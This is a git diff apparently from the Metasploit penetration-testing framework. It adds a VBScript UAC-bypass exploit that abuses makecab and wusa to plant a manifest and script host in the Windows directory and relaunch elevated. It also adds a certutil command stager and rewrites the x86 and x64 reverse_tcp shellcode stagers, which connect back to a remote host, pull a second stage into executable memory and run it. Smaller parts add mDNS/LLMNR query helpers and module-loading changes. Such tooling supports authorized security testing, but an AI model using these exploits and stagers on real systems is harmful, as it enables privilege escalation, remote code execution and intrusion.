diff --git a/Gemfile.lock b/Gemfile.lock
index 561cd0b6f8..aeb9d12d1e 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -9,7 +9,7 @@ PATH
json
metasploit-concern (= 1.0.0)
metasploit-model (= 1.0.0)
- metasploit-payloads (= 1.0.10)
+ metasploit-payloads (= 1.0.12)
msgpack
nokogiri
packetfu (= 1.1.9)
@@ -123,7 +123,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
- metasploit-payloads (1.0.10)
+ metasploit-payloads (1.0.12)
metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
diff --git a/data/exploits/scripthost_uac_bypass/bypass.vbs b/data/exploits/scripthost_uac_bypass/bypass.vbs
new file mode 100644
index 0000000000..0ba2444d13
--- /dev/null
+++ b/data/exploits/scripthost_uac_bypass/bypass.vbs
@@ -0,0 +1,62 @@
+Option Explicit
+
+Dim oWs: Set oWs = CreateObject("WScript.Shell")
+Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject")
+Dim HOST_MANIFEST: HOST_MANIFEST = _
+ "" & vbCrLf & _
+ "" & vbCrLf & _
+ " " & vbCrLf & _
+ " " & vbCrLf & _
+ " " & vbCrLf & _
+ " " & vbCrLf & _
+ " " & vbCrLf & _
+ " " & vbCrLf & _
+ " " & vbCrLf & _
+ " " & vbCrLf & _
+ " " & vbCrLf & _
+ " true" & vbCrLf & _
+ " true" & vbCrLf & _
+ " " & vbCrLf & _
+ " " & vbCrLf & _
+ ""
+
+
+Sub Copy(ByVal sSource, ByVal sTarget)
+ Dim sTempFile: sTempFile = GetTempFilename()
+ oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True
+ oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True
+ oFso.DeleteFile sTempFile
+End Sub
+
+Sub Elevate()
+ Const WINDIR = "%windir%"
+ Dim sPath: sPath = Left(WScript.ScriptFullName, _
+ InStrRev(WScript.ScriptFullName, "\"))
+ Dim sHost: sHost = Right(WScript.FullName, 11)
+ Dim sManifest: sManifest = sPath & sHost & ".manifest"
+ Dim oStream: Set oStream = oFso.CreateTextFile(sManifest)
+ oStream.Write HOST_MANIFEST
+ oStream.Close
+ Copy sManifest, WINDIR
+ Copy WScript.FullName, WINDIR
+ oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART"
+ oFso.DeleteFile sManifest
+End Sub
+
+Function GetTempFilename()
+ Const vbTemporaryFolder = 2
+ Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder)
+ GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName())
+End Function
+
+Sub RunAsAdmin()
+ oWs.Run "COMMAND"
+End Sub
+
+If WScript.Arguments.Named.Exists("RESTART") Then
+ RunAsAdmin
+Else
+ Elevate
+End If
diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb
index 952f32f051..d2ba08fc3f 100644
--- a/lib/msf/base/simple/framework/module_paths.rb
+++ b/lib/msf/base/simple/framework/module_paths.rb
@@ -9,52 +9,62 @@ module Msf
def init_module_paths(opts={})
if @module_paths_inited
fail "Module paths already initialized. To add more module paths call `modules.add_module_path`"
- else
- # Ensure the module cache is accurate
- self.modules.refresh_cache_from_database
-
- add_engine_module_paths(Rails.application, opts)
-
- Rails.application.railties.engines.each do |engine|
- add_engine_module_paths(engine, opts)
- end
-
- # Initialize the user module search path
- if (Msf::Config.user_module_directory)
- self.modules.add_module_path(Msf::Config.user_module_directory, opts)
- end
-
- # If additional module paths have been defined globally, then load them.
- # They should be separated by semi-colons.
- if self.datastore['MsfModulePaths']
- self.datastore['MsfModulePaths'].split(";").each { |path|
- self.modules.add_module_path(path, opts)
- }
- end
-
- @module_paths_inited = true
+ return
end
+
+ allowed_module_paths = []
+ extract_engine_module_paths(Rails.application).each do |path|
+ allowed_module_paths << path
+ end
+
+ if Msf::Config.user_module_directory
+ allowed_module_paths << Msf::Config.user_module_directory
+ end
+
+ Rails.application.railties.engines.each do |engine|
+ extract_engine_module_paths(engine).each do |path|
+ allowed_module_paths << path
+ end
+ end
+
+ # If additional module paths have been defined globally, then load them.
+ # They should be separated by semi-colons.
+ self.datastore['MsfModulePaths'].to_s.split(";").each do |path|
+ allowed_module_paths << path
+ end
+
+ # If the caller had additional paths to search, load them.
+ # They should be separated by semi-colons.
+ opts.delete(:module_paths).to_s.split(";").each do |path|
+ allowed_module_paths << path
+ end
+
+ # Remove any duplicate paths
+ allowed_module_paths.uniq!
+
+ # Update the module cache from the database
+ self.modules.refresh_cache_from_database(allowed_module_paths)
+
+ # Load each of the module paths
+ allowed_module_paths.each do |path|
+ self.modules.add_module_path(path, opts)
+ end
+
+ @module_paths_inited = true
end
private
- # Add directories `engine.paths['modules']` from `engine`.
+ # Extract directories `engine.paths['modules']` from `engine`.
#
# @param engine [Rails::Engine] a rails engine or application
# @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths}
- # @return [void]
- def add_engine_module_paths(engine, options={})
- modules_paths = engine.paths['modules']
-
- if modules_paths
- modules_directories = modules_paths.existent_directories
-
- modules_directories.each do |modules_directory|
- modules.add_module_path(modules_directory, options)
- end
- end
+ # @return [Array] The list of module paths to load
+ def extract_engine_module_paths(engine)
+ engine.paths['modules'] ? engine.paths['modules'].existent_directories : []
end
+
end
end
end
-end
\ No newline at end of file
+end
diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb
new file mode 100644
index 0000000000..a1617b2226
--- /dev/null
+++ b/lib/msf/core/auxiliary/llmnr.rb
@@ -0,0 +1,24 @@
+# -*- coding: binary -*-
+require 'msf/core/auxiliary/mdns'
+
+module Msf
+ # This module provides methods for working with LLMNR
+ module Auxiliary::LLMNR
+ include Auxiliary::MDNS
+
+ # Initializes an instance of an auxiliary module that uses LLMNR
+ def initialize(info = {})
+ super
+ register_options(
+ [
+ OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']),
+ Opt::RPORT(5355),
+ # TODO: allow more than one
+ OptString.new('NAME', [true, 'The name to query', 'localhost']),
+ OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A'])
+ ],
+ self.class
+ )
+ end
+ end
+end
diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb
new file mode 100644
index 0000000000..fc3f6860c2
--- /dev/null
+++ b/lib/msf/core/auxiliary/mdns.rb
@@ -0,0 +1,108 @@
+# -*- coding: binary -*-
+require 'net/dns'
+
+module Msf
+ # This module provides methods for working with mDNS
+ module Auxiliary::MDNS
+ # Initializes an instance of an auxiliary module that uses mDNS
+ def initialize(info = {})
+ super
+ register_options(
+ [
+ OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']),
+ Opt::RPORT(5353),
+ OptString.new('NAME', [true, 'The name to query', '_services._dns-sd._udp.local']),
+ OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'PTR']),
+ OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN'])
+ ],
+ self.class
+ )
+ end
+
+ def setup
+ query_class_name
+ query_type_name
+ end
+
+ def build_probe
+ @probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data
+ # TODO: support QU vs QM probes
+ # @probe[@probe.size-2] = [0x80].pack('C')
+ # @probe
+ end
+
+ def query_class
+ if datastore['CLASS'] =~ /^\d+$/
+ datastore['CLASS'].to_i
+ else
+ datastore['CLASS'].upcase
+ end
+ end
+
+ def query_class_name
+ Net::DNS::RR::Classes.new(query_class).to_s
+ end
+
+ def query_class_num
+ Net::DNS::RR::Classes.new(query_class).to_i
+ end
+
+ def query_type
+ if datastore['TYPE'] =~ /^\d+$/
+ datastore['TYPE'].to_i
+ else
+ datastore['TYPE'].upcase
+ end
+ end
+
+ def query_name
+ datastore['NAME']
+ end
+
+ def query_type_name
+ Net::DNS::RR::Types.new(query_type).to_s
+ end
+
+ def query_type_num
+ Net::DNS::RR::Types.new(query_type).to_i
+ end
+
+ def describe_response(response)
+ decoded = Resolv::DNS::Message.decode(response)
+ answers = decoded.answer
+
+ if answers.empty? # not sure this will ever happen...
+ "no answers"
+ else
+ # there are often many answers for the same RR, so group them
+ grouped_answers = answers.group_by { |name, _, _| name }
+ # now summarize each group by noting the resource type and the notable
+ # part(s) of that RR
+ summarized_answers = grouped_answers.map do |name, these_answers|
+ summarized_group = these_answers.map do |_, _, data|
+ case data
+ when Resolv::DNS::Resource::IN::A
+ "A #{data.address}"
+ when Resolv::DNS::Resource::IN::AAAA
+ "AAAA #{data.address}"
+ when Resolv::DNS::Resource::IN::PTR
+ "PTR #{data.name}"
+ when Resolv::DNS::Resource::IN::SRV
+ "SRV #{data.target}"
+ when Resolv::DNS::Resource::IN::TXT
+ "TXT #{data.strings.join(',')}"
+ else
+ data.inspect
+ end
+ end
+ "#{name}: (#{summarized_group.join(", ")})"
+ end
+ summarized_answers.join(', ')
+ end
+ end
+
+ def request_info
+ "#{query_name} #{query_class}/#{query_type}"
+ end
+ end
+end
diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb
index c88cba7dd9..2fb5934729 100644
--- a/lib/msf/core/auxiliary/mixins.rb
+++ b/lib/msf/core/auxiliary/mixins.rb
@@ -20,6 +20,8 @@ require 'msf/core/auxiliary/login'
require 'msf/core/auxiliary/rservices'
require 'msf/core/auxiliary/cisco'
require 'msf/core/auxiliary/kademlia'
+require 'msf/core/auxiliary/llmnr'
+require 'msf/core/auxiliary/mdns'
require 'msf/core/auxiliary/nmap'
require 'msf/core/auxiliary/natpmp'
require 'msf/core/auxiliary/iax2'
diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb
index 27950bf9e7..d64d0c39ff 100644
--- a/lib/msf/core/auxiliary/udp_scanner.rb
+++ b/lib/msf/core/auxiliary/udp_scanner.rb
@@ -181,7 +181,9 @@ module Auxiliary::UDPScanner
end
# Called for each response packet
- def scanner_process(data, shost, sport)
+ def scanner_process(data, shost, _sport)
+ @results[shost] ||= []
+ @results[shost] << data
end
# Called before the scan block
diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb
index b220d6c429..02e6fd1296 100644
--- a/lib/msf/core/exploit/capture.rb
+++ b/lib/msf/core/exploit/capture.rb
@@ -242,7 +242,7 @@ module Msf
dev ||= datastore['INTERFACE']
dst_mac, src_mac = lookup_eth(dhost, dev)
if dst_mac == nil and not bcast
- return false
+ raise RuntimeError, 'Unable to determine the destination MAC and bcast is false'
end
inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac)
end
diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb
index 709c797925..9d33a97c8b 100644
--- a/lib/msf/core/exploit/cmdstager.rb
+++ b/lib/msf/core/exploit/cmdstager.rb
@@ -20,6 +20,7 @@ module Exploit::CmdStager
:printf => Rex::Exploitation::CmdStagerPrintf,
:vbs => Rex::Exploitation::CmdStagerVBS,
:vbs_adodb => Rex::Exploitation::CmdStagerVBS,
+ :certutil => Rex::Exploitation::CmdStagerCertutil,
:tftp => Rex::Exploitation::CmdStagerTFTP
}
diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb
index d7532bdfb4..a124881f76 100644
--- a/lib/msf/core/module/reference.rb
+++ b/lib/msf/core/module/reference.rb
@@ -113,6 +113,8 @@ class Msf::Module::SiteReference < Msf::Module::Reference
self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}"
elsif (in_ctx_id == 'WPVDB')
self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}"
+ elsif (in_ctx_id == 'PACKETSTORM')
+ self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}"
elsif (in_ctx_id == 'URL')
self.site = in_ctx_val.to_s
else
diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb
index a1f626a5a6..a0c7f34856 100644
--- a/lib/msf/core/module_manager/cache.rb
+++ b/lib/msf/core/module_manager/cache.rb
@@ -113,15 +113,15 @@ module Msf::ModuleManager::Cache
framework.db.update_all_module_details
end
- refresh_cache_from_database
+ refresh_cache_from_database(self.module_paths)
end
end
# Refreshes the in-memory cache from the database cache.
#
# @return [void]
- def refresh_cache_from_database
- self.module_info_by_path_from_database!
+ def refresh_cache_from_database(allowed_paths=[""])
+ self.module_info_by_path_from_database!(allowed_paths)
end
protected
@@ -149,10 +149,12 @@ module Msf::ModuleManager::Cache
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module
# information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type,
# :reference_name.
- def module_info_by_path_from_database!
+ def module_info_by_path_from_database!(allowed_paths=[""])
self.module_info_by_path = {}
if framework_migrated?
+ allowed_paths = allowed_paths.map{|x| x + "/"}
+
ActiveRecord::Base.connection_pool.with_connection do
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
# Use find_each so Mdm::Module::Details are returned in batches, which will
@@ -162,6 +164,9 @@ module Msf::ModuleManager::Cache
type = module_detail.mtype
reference_name = module_detail.refname
+ # Skip cached modules that are not in our allowed load paths
+ next if allowed_paths.select{|x| path.index(x) == 0}.empty?
+
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
# join to '' so that typed_path_prefix starts with file separator
typed_path_suffix = File.join('', typed_path)
diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb
index 360b690355..d11c607606 100644
--- a/lib/msf/core/payload/windows/reverse_tcp.rb
+++ b/lib/msf/core/payload/windows/reverse_tcp.rb
@@ -76,11 +76,11 @@ module Payload::Windows::ReverseTcp
# Start with our cached default generated size
space = cached_size
- # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
- space += 31
+ # EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
+ space += 29
- # Reliability adds 10 bytes for recv error checks
- space += 10
+ # Reliability adds some bytes!
+ space += 44
space += uuid_required_size if include_send_uuid
@@ -108,137 +108,155 @@ module Payload::Windows::ReverseTcp
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
- push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
- push 0x5F327377 ; ...
- push esp ; Push a pointer to the "ws2_32" string on the stack.
- push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
- call ebp ; LoadLibraryA( "ws2_32" )
+ push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
+ push 'ws2_' ; ...
+ push esp ; Push a pointer to the "ws2_32" string on the stack.
+ push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
+ call ebp ; LoadLibraryA( "ws2_32" )
- mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
- sub esp, eax ; alloc some space for the WSAData structure
- push esp ; push a pointer to this stuct
- push eax ; push the wVersionRequested parameter
- push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
- call ebp ; WSAStartup( 0x0190, &WSAData );
-
- create_socket:
- push eax ; if we succeed, eax will be zero, push zero for the flags param.
- push eax ; push null for reserved parameter
- push eax ; we do not specify a WSAPROTOCOL_INFO structure
- push eax ; we do not specify a protocol
- inc eax ;
- push eax ; push SOCK_STREAM
- inc eax ;
- push eax ; push AF_INET
- push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
- call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
- xchg edi, eax ; save the socket for later, don't care about the value of eax after this
+ mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
+ sub esp, eax ; alloc some space for the WSAData structure
+ push esp ; push a pointer to this stuct
+ push eax ; push the wVersionRequested parameter
+ push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
+ call ebp ; WSAStartup( 0x0190, &WSAData );
set_address:
- push #{retry_count} ; retry counter
- push #{encoded_host} ; host in little-endian format
- push #{encoded_port} ; family AF_INET and port number
- mov esi, esp ; save pointer to sockaddr struct
+ push #{retry_count} ; retry counter
+
+ create_socket:
+ push #{encoded_host} ; host in little-endian format
+ push #{encoded_port} ; family AF_INET and port number
+ mov esi, esp ; save pointer to sockaddr struct
+
+ push eax ; if we succeed, eax will be zero, push zero for the flags param.
+ push eax ; push null for reserved parameter
+ push eax ; we do not specify a WSAPROTOCOL_INFO structure
+ push eax ; we do not specify a protocol
+ inc eax ;
+ push eax ; push SOCK_STREAM
+ inc eax ;
+ push eax ; push AF_INET
+ push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
+ call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
+ xchg edi, eax ; save the socket for later, don't care about the value of eax after this
try_connect:
- push 16 ; length of the sockaddr struct
- push esi ; pointer to the sockaddr struct
- push edi ; the socket
- push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
- call ebp ; connect( s, &sockaddr, 16 );
+ push 16 ; length of the sockaddr struct
+ push esi ; pointer to the sockaddr struct
+ push edi ; the socket
+ push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
+ call ebp ; connect( s, &sockaddr, 16 );
- test eax,eax ; non-zero means a failure
+ test eax,eax ; non-zero means a failure
jz connected
- handle_failure:
- dec dword [esi+8]
+ handle_connect_failure:
+ ; decrement our attempt count and try again
+ dec [esi+8]
jnz try_connect
^
if opts[:exitfunk]
asm << %Q^
- failure:
- call exitfunk
- ^
+ failure:
+ call exitfunk
+ ^
else
asm << %Q^
- failure:
- push 0x56A2B5F0 ; hardcoded to exitprocess for size
- call ebp
- ^
+ failure:
+ push 0x56A2B5F0 ; hardcoded to exitprocess for size
+ call ebp
+ ^
end
- # TODO: Rewind the stack, free memory, try again
-=begin
- if opts[:reliable]
- asm << %Q^
- reconnect:
-
- ^
- end
-=end
asm << %Q^
+ ; this lable is required so that reconnect attempts include
+ ; the UUID stuff if required.
connected:
- ^
+ ^
asm << asm_send_uuid if include_send_uuid
asm << %Q^
recv:
; Receive the size of the incoming second stage...
- push 0 ; flags
- push 4 ; length = sizeof( DWORD );
- push esi ; the 4 byte buffer on the stack to hold the second stage length
- push edi ; the saved socket
- push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
- call ebp ; recv( s, &dwLength, 4, 0 );
+ push 0 ; flags
+ push 4 ; length = sizeof( DWORD );
+ push esi ; the 4 byte buffer on the stack to hold the second stage length
+ push edi ; the saved socket
+ push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
+ call ebp ; recv( s, &dwLength, 4, 0 );
^
- # Check for a failed recv() call
- # TODO: Try again by jmping to reconnect
- if reliable
- asm << %Q^
- cmp eax, 0
- jle failure
- ^
- end
-
- asm << %Q^
- ; Alloc a RWX buffer for the second stage
- mov esi, [esi] ; dereference the pointer to the second stage length
- push 0x40 ; PAGE_EXECUTE_READWRITE
- push 0x1000 ; MEM_COMMIT
- push esi ; push the newly recieved second stage length.
- push 0 ; NULL as we dont care where the allocation is.
- push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
- call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
- ; Receive the second stage and execute it...
- xchg ebx, eax ; ebx = our new memory address for the new stage
- push ebx ; push the address of the new stage so we can return into it
-
- read_more: ;
- push 0 ; flags
- push esi ; length
- push ebx ; the current address into our second stage's RWX buffer
- push edi ; the saved socket
- push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
- call ebp ; recv( s, buffer, length, 0 );
- ^
-
- # Check for a failed recv() call
- # TODO: Try again by jmping to reconnect
if reliable
asm << %Q^
+ ; reliability: check to see if the recv worked, and reconnect
+ ; if it fails
cmp eax, 0
- jle failure
+ jle cleanup_socket
^
end
asm << %Q^
- add ebx, eax ; buffer += bytes_received
- sub esi, eax ; length -= bytes_received, will set flags
- jnz read_more ; continue if we have more to read
- ret ; return into the second stage
+ ; Alloc a RWX buffer for the second stage
+ mov esi, [esi] ; dereference the pointer to the second stage length
+ push 0x40 ; PAGE_EXECUTE_READWRITE
+ push 0x1000 ; MEM_COMMIT
+ push esi ; push the newly recieved second stage length.
+ push 0 ; NULL as we dont care where the allocation is.
+ push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
+ call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
+ ; Receive the second stage and execute it...
+ xchg ebx, eax ; ebx = our new memory address for the new stage
+ push ebx ; push the address of the new stage so we can return into it
+
+ read_more:
+ push 0 ; flags
+ push esi ; length
+ push ebx ; the current address into our second stage's RWX buffer
+ push edi ; the saved socket
+ push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
+ call ebp ; recv( s, buffer, length, 0 );
+ ^
+
+ if reliable
+ asm << %Q^
+ ; reliability: check to see if the recv worked, and reconnect
+ ; if it fails
+ cmp eax, 0
+ jge read_successful
+
+ ; something failed, free up memory
+ pop eax ; get the address of the payload
+ push 0x4000 ; dwFreeType (MEM_DECOMMIT)
+ push 0 ; dwSize
+ push eax ; lpAddress
+ push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
+ call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
+
+ cleanup_socket:
+ ; clear up the socket
+ push edi ; socket handle
+ push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
+ call ebp ; closesocket(socket)
+
+ ; restore the stack back to the connection retry count
+ pop esi
+ pop esi
+ dec [esp] ; decrement the counter
+
+ ; try again
+ jmp create_socket
+ ^
+ end
+
+ asm << %Q^
+ read_successful:
+ add ebx, eax ; buffer += bytes_received
+ sub esi, eax ; length -= bytes_received, will set flags
+ jnz read_more ; continue if we have more to read
+ ret ; return into the second stage
^
if opts[:exitfunk]
diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb
index d385fd4baa..5fab3a313f 100644
--- a/lib/msf/core/payload/windows/x64/exitfunk.rb
+++ b/lib/msf/core/payload/windows/x64/exitfunk.rb
@@ -33,25 +33,11 @@ module Payload::Windows::Exitfunk_x64
ret ; Return to NULL (crash)
^
- # On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
- # on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
- # automatically generate the right code depending on the selected exit method.
-
when 'thread'
asm << %Q^
- mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
- mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
- call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
- add rsp, 40 ; cleanup the default param space on stack
- cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
- jl exitfunk_goodbye ; Then just call the exit function...
- cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
- ; Windows Vista, 2008 or 7...
- jne exitfunk_goodbye ;
- mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
- exitfunk_goodbye: ; We now perform the actual call to the exit function
push 0 ;
pop rcx ; set the exit function parameter
+ mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
mov r10d, ebx ; place the correct EXITFUNK into r10d
call rbp ; call EXITFUNK( 0 );
^
diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb
index 6be0bfdd1b..3110f5642e 100644
--- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb
+++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb
@@ -62,12 +62,12 @@ module Payload::Windows::ReverseTcp_x64
#
def generate_reverse_tcp(opts={})
combined_asm = %Q^
- cld ; Clear the direction flag.
- and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
- call start ; Call start, this pushes the address of 'api_call' onto the stack.
+ cld ; Clear the direction flag.
+ and rsp, ~0xF ; Ensure RSP is 16 byte aligned
+ call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
- pop rbp
+ pop rbp ; block API pointer
#{asm_reverse_tcp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
@@ -84,11 +84,11 @@ module Payload::Windows::ReverseTcp_x64
# Start with our cached default generated size
space = cached_size
- # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
- space += 31
+ # EXITFUNK 'seh' is the worst case, that adds 15 bytes
+ space += 15
- # Reliability adds 10 bytes for recv error checks
- space += 10
+ # Reliability adds bytes!
+ space += 57
space += uuid_required_size if include_send_uuid
@@ -105,7 +105,6 @@ module Payload::Windows::ReverseTcp_x64
#
def asm_reverse_tcp(opts={})
- # TODO: reliability coming later
reliable = opts[:reliable]
retry_count = [opts[:retry_count].to_i, 1].max
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
@@ -114,88 +113,172 @@ module Payload::Windows::ReverseTcp_x64
asm = %Q^
reverse_tcp:
- ; setup the structures we need on the stack...
+ ; setup the structures we need on the stack...
mov r14, 'ws2_32'
- push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
- mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
- sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
- ; structure (+8 for alignment)
- mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
+ push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
+ mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
+ sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
+ ; structure (+8 for alignment)
+ mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
mov r12, #{encoded_host_port}
- push r12 ; host, family AF_INET and port
- mov r12, rsp ; save pointer to sockaddr struct for connect call
+ push r12 ; host, family AF_INET and port
+ mov r12, rsp ; save pointer to sockaddr struct for connect call
+
; perform the call to LoadLibraryA...
- mov rcx, r14 ; set the param for the library to load
- mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
- call rbp ; LoadLibraryA( "ws2_32" )
+ mov rcx, r14 ; set the param for the library to load
+ mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
+ call rbp ; LoadLibraryA( "ws2_32" )
+
; perform the call to WSAStartup...
- mov rdx, r13 ; second param is a pointer to this stuct
- push 0x0101 ;
- pop rcx ; set the param for the version requested
- mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
- call rbp ; WSAStartup( 0x0101, &WSAData );
+ mov rdx, r13 ; second param is a pointer to this stuct
+ push 0x0101 ;
+ pop rcx ; set the param for the version requested
+ mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
+ call rbp ; WSAStartup( 0x0101, &WSAData );
+
+ ; stick the retry count on the stack and store it
+ push #{retry_count} ; retry counter
+ pop r14
+
+ create_socket:
; perform the call to WSASocketA...
- push rax ; if we succeed, rax wil be zero, push zero for the flags param.
- push rax ; push null for reserved parameter
- xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
- xor r8, r8 ; we do not specify a protocol
- inc rax ;
- mov rdx, rax ; push SOCK_STREAM
- inc rax ;
- mov rcx, rax ; push AF_INET
- mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
- call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
- mov rdi, rax ; save the socket for later
+ push rax ; if we succeed, rax wil be zero, push zero for the flags param.
+ push rax ; push null for reserved parameter
+ xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
+ xor r8, r8 ; we do not specify a protocol
+ inc rax ;
+ mov rdx, rax ; push SOCK_STREAM
+ inc rax ;
+ mov rcx, rax ; push AF_INET
+ mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
+ call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
+ mov rdi, rax ; save the socket for later
+
+ try_connect:
; perform the call to connect...
- push 16 ; length of the sockaddr struct
- pop r8 ; pop off the third param
- mov rdx, r12 ; set second param to pointer to sockaddr struct
- mov rcx, rdi ; the socket
- mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" )
- call rbp ; connect( s, &sockaddr, 16 );
- ; restore RSP so we dont have any alignment issues with the next block...
- add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations
+ push 16 ; length of the sockaddr struct
+ pop r8 ; pop off the third param
+ mov rdx, r12 ; set second param to pointer to sockaddr struct
+ mov rcx, rdi ; the socket
+ mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
+ call rbp ; connect( s, &sockaddr, 16 );
+
+ test eax, eax ; non-zero means failure
+ jz connected
+
+ handle_connect_failure:
+ dec r14 ; decrement the retry count
+ jnz try_connect
^
+ if opts[:exitfunk]
+ asm << %Q^
+ failure:
+ call exitfunk
+ ^
+ else
+ asm << %Q^
+ failure:
+ push 0x56A2B5F0 ; hardcoded to exitprocess for size
+ call rbp
+ ^
+ end
+
+ asm << %Q^
+ ; this lable is required so that reconnect attempts include
+ ; the UUID stuff if required.
+ connected:
+ ^
